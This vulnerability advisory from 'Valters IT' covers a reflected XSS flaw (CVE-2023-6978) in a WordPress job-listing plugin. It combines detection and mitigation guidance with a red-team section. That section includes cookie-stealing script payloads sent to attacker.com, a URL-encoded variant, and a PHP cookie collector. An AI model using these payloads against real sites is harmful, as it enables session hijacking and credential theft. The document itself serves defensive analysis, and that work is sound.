CVE-2023-6978

Executive Summary

CVE-2023-6978 is a reflected Cross-Site Scripting (XSS) vulnerability in the WP Job Manager – Company Profiles plugin for WordPress, affecting all versions up to and including 1.7. An unauthenticated attacker can inject arbitrary web scripts via the company parameter due to insufficient input sanitization and output escaping. Successful exploitation requires user interaction (e.g., clicking a crafted link), leading to script execution in the victim's browser within the context of the vulnerable WordPress site. This can result in session hijacking, credential theft, or defacement. The vulnerability is within the WordPress ecosystem and is not related to Apache or Nginx.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – unauthenticated.
• User Interaction (UI): Required – victim must click a link.
• Scope (S): Changed – impacts resources beyond the vulnerable component.
• Confidentiality (C): Low – limited data exposure.
• Integrity (I): Low – limited modification possible.
• Availability (A): None – no denial of service.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of a patch and the prevalence of WordPress make it a viable phishing vector.

Deep Dive & Mechanics

The vulnerability resides in the company parameter of the WP Job Manager – Company Profiles plugin. When a user visits a URL like https://example.com/?company=<script>alert(1)</script>, the plugin reflects the value of the company parameter into the page without proper sanitization or output escaping. This allows an attacker to inject arbitrary HTML and JavaScript.

The root cause is the failure to use WordPress's built-in escaping functions (e.g., esc_html(), esc_attr()) when outputting the company parameter. The plugin likely uses echo $_GET['company'] or similar unsanitized output.

Attack Flow:

1. Attacker crafts a malicious URL: https://victim-site.com/?company=<script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>
2. Attacker sends the link via email, social media, or other channels.
3. Victim clicks the link while authenticated to the WordPress site.
4. The injected script executes, stealing session cookies or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.7):

// In a template or shortcode handler
$company = $_GET['company'];
echo '<div class="company-name">' . $company . '</div>';

Patched Code (hypothetical fix):

// Properly escape output
$company = isset($_GET['company']) ? esc_html($_GET['company']) : '';
echo '<div class="company-name">' . $company . '</div>';

The fix uses esc_html() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• WordPress installation with WP Job Manager – Company Profiles plugin version 1.7.
• Attacker machine with a web server to capture exfiltrated data.

Exploitation Steps:

1. Identify the vulnerable parameter: company.
2. Craft a payload to steal cookies:

   https://victim-site.com/?company=<script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>
   

3. Use URL encoding to obfuscate:

   https://victim-site.com/?company=%3Cscript%3Enew%20Image().src%3D%27http%3A%2F%2Fattacker.com%2Fsteal.php%3Fc%3D%27%2Bdocument.cookie%3C%2Fscript%3E
   

4. Send the link to the victim.
5. On the attacker server, capture the cookie via steal.php:

   <?php
   $cookie = $_GET['c'];
   file_put_contents('cookies.txt', $cookie . "\n", FILE_APPEND);
   ?>
   

Blue Team (Defensive)

Detection:

• Monitor web logs for requests containing ?company= followed by script tags or encoded payloads.
• Use WAF rules to block common XSS patterns in the company parameter.

Mitigation:

• Apply input validation: allow only alphanumeric characters and spaces.
• Use output escaping: esc_html() or esc_attr().
• Implement Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

• URL Pattern: ?company=<script>...</script> or encoded variants.
• Web Log Entries: Requests to /?company= with non-standard characters.
• Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.
• File Artifacts: Modified WordPress core files or plugin files (unlikely for reflected XSS).

Detection Engineering

YARA Rule

rule CVE_2023_6978_XSS_Company_Param {
    meta:
        description = "Detects reflected XSS attempts via company parameter in WP Job Manager plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-6978"
    strings:
        $param = "company="
        $script = /<script[^>]*>/
        $event = /on\w+\s*=/
    condition:
        $param and ($script or $event)
}

Sigma Rule

title: Reflected XSS via company Parameter in WP Job Manager
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting the company parameter in WP Job Manager plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "?company="
        c-uri|contains|all:
            - "<script"
            - ">"
    condition: selection
falsepositives:
    - Legitimate use of script tags in company names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-6978 Reflected XSS in WP Job Manager company parameter"; flow:to_server,established; content:"?company="; http_uri; pcre:"/<script[^>]*>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if no patch is available.
2. Implement a WAF rule to block requests containing <script> in the company parameter.
3. Add a Content Security Policy (CSP) header:

   Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
   

Long-Term Fix:

• The vendor must release a patched version that uses esc_html() or esc_attr() when outputting the company parameter.
• Alternatively, replace the plugin with a maintained alternative.

Workaround:

• Use a WordPress security plugin (e.g., Wordfence) to add virtual patching.

Valters IT
Securing Digital Frontiers